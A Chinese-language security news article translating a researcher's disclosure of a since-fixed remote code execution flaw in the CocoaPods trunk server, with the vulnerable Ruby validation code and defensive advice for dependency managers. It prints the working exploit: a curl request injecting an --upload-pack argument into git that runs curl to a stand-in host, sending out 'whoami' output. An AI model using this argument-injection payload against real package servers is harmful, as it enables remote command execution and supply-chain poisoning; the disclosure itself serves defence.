利用 CocoaPods 服务器中的一个 RCE 漏洞，投毒数百万款app

Posted 2021-08-10 代码卫士

 聚焦源代码安全，网罗国内外最新资讯！

编译：奇安信代码卫士

专栏·供应链安全

数字化时代，软件无处不在。软件如同社会中的“虚拟人”，已经成为支撑社会正常运转的最基本元素之一，软件的安全性问题也正在成为当今社会的根本性、基础性问题。

随着软件产业的快速发展，软件供应链也越发复杂多元，复杂的软件供应链会引入一系列的安全问题，导致信息系统的整体安全防护难度越来越大。近年来，针对软件供应链的安全攻击事件一直呈快速增长态势，造成的危害也越来越严重。

为此，我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯，分析供应链安全风险，提供缓解建议，为供应链安全保驾护航。

注：以往发布的部分供应链安全相关内容，请见文末“推荐阅读”部分。

CocoaPods 是一款流行的包管理器，被很多款 ios 应用（以及 Swift 和 Objective-C Cocoa 应用程序）使用。本文作者在负责维护 Specs 仓库 （https://trunk.cocoapods.org）密钥CocoaPods 中心服务器中发现了一个远程代码执行漏洞，本可导致攻击者投毒任意程序包下载。目前该漏洞已修复。

引言

我用 Signal iOS app 和朋友们沟通。我是 Signal 的真爱粉，而我对真爱项目的回馈方式之一是尝试从中找出 bug。

浏览该 app 来源时首先吸引我的是 Podfile，它列出了 Signal 的 CocoaPods 依赖关系。我和程序包管理器的渊源颇深，所以首先想到的是尝试从 CocoaPods 服务器中找出bug。如果能找到影响使用 CocoaPods 的所有 app 的 bug，还费力气黑 Signal 干嘛？

漏洞简述

当向 CocoaPods 上传程序包规范时，它会尝试确保我们不会不慎链接到私有库。它会执行如下操作：

def validate_git # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141 url = @specification.source[:git] return true unless url.include?('github.com') || url.include?('bitbucket.org')
 ref = @specification.source[:tag] || @specification.source[:commit] || @specification.source[:branch] || 'HEAD' wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }end

这样做会带来几个问题。最重要的问题是攻击者对 @specification.source[:git] 和 ref.to_s 具有完全控制，因此可利用它们将标记传递给 git。git ls-remote 选用可选标记 –upload-pack 评估 shell 中的内容。因此，如果 @specification.source[:git] 等于 --ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com，而 ref.to_s 被解释为一个本地仓库，那么我们就可以在 CocoPods 服务器中运行攻击者的命令。

如下是我最终使用的 exploit：

curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'

思考

之后，我思考了 CocoaPods 对这个世界提供的价值多么巨大，单从节约开发人员的时间角度来看就能看到！再看看世界上有多少大型企业都在使用这款软件。再想想安全审计的成本有多高。

对于使用依赖关系管理器的人来说：

• 考虑 vendoring 依赖关系并仔细审计其更新（vendoring 的概念并未有确切定义，可以理解为拷贝一份项目中使用的第三方依赖关系，以防止版本冲突等问题）。

• 你使用的依赖关系管理器中可能存在 bug，如果项目的安全敏感度高，则应该认真仔细地思考这个攻击向量。

对于编写依赖关系管理器的人来说：

如果想确保依赖关系管理器的安全，应当将如下因素作为有毒废弃物：

• 程序包内容

• 版本控制软件

依赖关系管理器服务器通常想暴露关于程序包的某些元数据（有毒废弃物），并经常通过借助某些版本控制软件（有毒废弃物）来实现。最好不要这样做，但如果必须这么做，则应该使用沙箱。

几个月前，我在 proxy.golang.org 中找到了一个 RCE 漏洞，它被暴露于某款易受攻击的版本控制软件。不过由于我无法逃逸它所使用的沙箱而得以完全缓解。

最后，感谢 CocoaPods 维护人员神速修复该漏洞！

---

推荐阅读

原文链接

https://justi.cz/security/2021/04/20/cocoapods-rce.html

题图：Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错，就点个 “在看” 或 "赞” 吧~